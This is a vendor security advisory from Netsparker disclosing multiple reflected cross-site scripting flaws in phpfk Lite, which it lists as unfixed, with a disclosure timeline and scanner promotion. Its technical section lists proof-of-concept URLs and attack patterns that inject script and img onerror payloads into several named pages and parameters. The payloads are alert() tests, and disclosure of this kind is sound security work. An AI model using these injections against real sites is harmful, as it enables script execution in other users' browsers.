Information
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Advisory by Netsparker
Name: Multiple Reflected XSS Vulnerabilities in phpfk
Affected Software : phpfk
Affected Versions: Lite
Vendor Homepage : http://www.frank-karau.de/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Not Fixed
Netsparker Advisory Reference : NS-17-030

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in phpfk Lite;

URL /phpfk-lite-version/faq.php?'"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x001C10)</scRipt>

URL /phpfk-lite-version/members.php?search="><iMg src=N onerror=alert(9)>&sort=username
Parameter Name search
Parameter Type GET
Attack Pattern %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e

URL /phpfk-lite-version/members.php?'"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0016F1)</scRipt>

URL /phpfk-lite-version/members.php
Parameter Name search
Parameter Type POST
Attack Pattern %22%3e%3ciMg+src%3dN+onerror%3dalert(9)%3e

URL /phpfk-lite-version/search.php?'"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>
Parameter Name Query Based
Parameter Type Query String
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00171C)</scRipt>

URL /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>
Parameter Name user
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x004DB0)</scRipt>

URL /phpfk-lite-version/user.php?user='"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>&action=login&name=&passwd=&submit=Anmelden&cookie=
Parameter Name user
Parameter Type GET
Attack Pattern '"--></style></scRipt><scRipt>alert(0x00D3B1)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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09 Mar 2017 - Issue reported.
16 Jun 2017 - Advisory released.

Solution
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-

Credits & Authors
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These issues have been discovered by Enes Aslanbakan while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine's unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.